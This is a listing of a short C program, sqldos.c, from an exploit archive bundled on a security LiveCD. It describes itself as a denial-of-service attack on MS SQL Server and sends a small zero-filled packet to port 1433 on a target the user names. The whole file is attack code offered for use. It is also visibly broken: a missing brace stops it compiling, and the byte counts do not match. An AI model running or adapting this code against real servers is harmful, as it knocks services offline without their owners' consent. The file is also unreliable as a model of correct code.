home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / database / mssql / sqldos.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  1KB  |  61 lines

  1. /*
  2. ** sqldos.c -- a DoS attack agains MS SQL Server
  3. */
  4.  
  5. #include <stdio.h>
  6. #include <stdlib.h>
  7. #include <errno.h>
  8. #include <string.h>
  9. #include <netdb.h>
  10. #include <sys/types.h>
  11. #include <netinet/in.h>
  12. #include <sys/socket.h>
  13.  
  14. #define PORT 1433    /* the port SQL Server listens on */
  15.  
  16.  
  17. int main(int argc, char *argv[])
  18. {
  19.     int sockfd, numbytes;
  20.     struct hostent *he;
  21.     char buff[65535];
  22.     struct sockaddr_in target_addr;
  23.  
  24.     if (argc != 2) {
  25.         fprintf(stderr,"Usage: sqldos target\n");
  26.         exit(1);
  27.     }
  28.  
  29.     if ((he=gethostbyname(argv[1])) == NULL)
  30.  
  31.         perror("gethostbyname");
  32.         exit(1);
  33.     }
  34.  
  35.     if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
  36.         perror("socket error");
  37.         exit(1);
  38.     }
  39.  
  40.     target_addr.sin_family = AF_INET;
  41.     target_addr.sin_port = htons(PORT);
  42.     target_addr.sin_addr = *((struct in_addr *)he->h_addr);
  43.     bzero(&(target_addr.sin_zero), 8);
  44.  
  45.     if (connect(sockfd, (struct sockaddr *)&target_addr, sizeof(struct
  46. sockaddr)) == -1) {
  47.         perror("connect error");
  48.         exit(1);
  49.     }
  50.     memset(&buff, 0, 3);
  51.  
  52.     if ((numbytes=send(sockfd, buff, 14, 0)) == -1) {
  53.         perror("send errot");
  54.         exit(1);
  55.     }
  56.     close(sockfd);
  57.  
  58.     return 0;
  59. }
  60.  
  61.